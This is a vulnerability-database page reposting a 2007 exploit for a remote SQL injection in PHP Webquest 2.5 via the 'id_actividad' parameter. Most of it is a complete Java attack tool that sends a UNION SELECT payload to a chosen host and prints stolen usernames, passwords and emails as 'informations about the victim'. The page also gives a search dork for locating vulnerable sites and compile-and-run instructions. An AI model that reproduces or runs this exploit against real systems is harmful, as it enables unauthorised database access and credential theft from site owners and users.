Lucene search
K

PHP Webquest <= 2.5 (id_actividad) Remote SQL Injection Exploit

🗓️ 14 Sep 2007 00:00:00Reported by D4real_TeaMType 
zdt
 zdt
🔗 0day.today👁 27 Views

Remote SQL Injection exploit for PHP Webquest version 2.5 affecting 'id_actividad' variable.

Code
===============================================================
PHP Webquest <= 2.5 (id_actividad) Remote SQL Injection Exploit
===============================================================




/*
 * script name        : phpwebquest
 * script version  : 2.5
 * script website  : http://phpwebquest.org
 * Bug Finder      : D4real_TeaM ('unkn0wnX','n3t-mapper','ToxiC350');
 * injected file   : webquest/soporte_derecha_w.php
 * Variable        : id_actividad
 *
 * Usage:
 *         First you must have a JDK 1.4 or more to compile the code
 *         Compiling: javac -nowarn -g:none SqInjection.java
 *         Usage: java SqInjection host_name /path/to/script/
 * Dork : inurl:/webquest/soporte_derecha_w.php?
 *
 * GreetZ : s4udi-s3curity-terror, Spy-Boy, R3mix-boY, Dchach-X, DiaboliC4, j4v4k, Hitch4w4, Und34d and all Moroccan,arab hackerS
 * Sp.Greetz : s0crateX ;)
 */


import java.io.*;
import java.net.* ;
public class SqInjection {

    public static void main(String[] argv) {
        Socket lhlawa;
        String hName,tra9,bachT3tih=" union select 1,1,1,1,concat(usuario,0x3a,password,0x3a,e_mail) from usuario";
        int lmarsa=80;
        BufferedReader _______dakhl;PrintWriter _______kharj;
        if(argv.length!=2){
            System.out.println("Error: args not properly defined");
            System.exit (-1);
        }
        String zgawa[]=argv[0].split(":");
        if(zgawa.length==2){
            hName=zgawa[0];
            try{
                lmarsa=Integer.parseInt(zgawa[1]);
            }catch(NumberFormatException ex){
                System.out.println("Error: Invalid Port");System.exit(0);
            }
        }else{
            hName=argv[0];
        }
        tra9=argv[1];
        System.out.print("Connecing to: "+hName);
        try{
            lhlawa=new Socket(hName,lmarsa);
            System.out.println("\t\t[ OK ]");
            String in3alBoh="",taya7Jdo="GET /"+tra9+"/webquest/soporte_derecha_w.php?id_actividad=-1"+URLEncoder.encode(bachT3tih)+"/* HTTP/1.1\n";
            taya7Jdo+="Host: "+hName+"\n";
            taya7Jdo+="Connection: Close\n\n";
            _______kharj=new PrintWriter(lhlawa.getOutputStream());
            _______dakhl=new BufferedReader(new InputStreamReader( lhlawa.getInputStream()));
            _______kharj.print(taya7Jdo);
            _______kharj.flush();
            String line=_______dakhl.readLine();
            if(line.equalsIgnoreCase("HTTP/1.1 200 OK")==false){
                System.out.println("Error:Invalid HTTP protocol");System.exit(0);
            }
            boolean ok=false;
            while((line=_______dakhl.readLine())!=null){
                if(ok==false){
                    if(line.length()==0)
                        {ok=true;
                        }
                }
                else in3alBoh+=line+"\n";   
            }
            _______kharj.close();
            _______dakhl.close();
            parseData(in3alBoh);
        }catch(IOException ex){
            System.out.println("\nSocket Error program will exit");
            System.exit(0);
        }
    }
    private static void parseData(String haHwaJay){
        String uName,passwd,mail,tmp[];
        tmp=haHwaJay.split("\n");
        for(int i=0;i<tmp.length;i++)
        {
            if(tmp[i].trim().startsWith("<td width=\"97%\">"))
            {
                String safiTa7=tmp[i].trim().substring(16,tmp[i].trim().length()-4);
                tmp=safiTa7.split (":");
                break;
            }
        }
        uName=tmp[0];passwd=tmp[1];mail=tmp[2];
        System.out.println("*************************** Informations about the victim ***************************");
        System.out.println("User Name: "+uName+"\nPassword: "+passwd+"\nVictimz mail: "+mail);
    }
}



#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation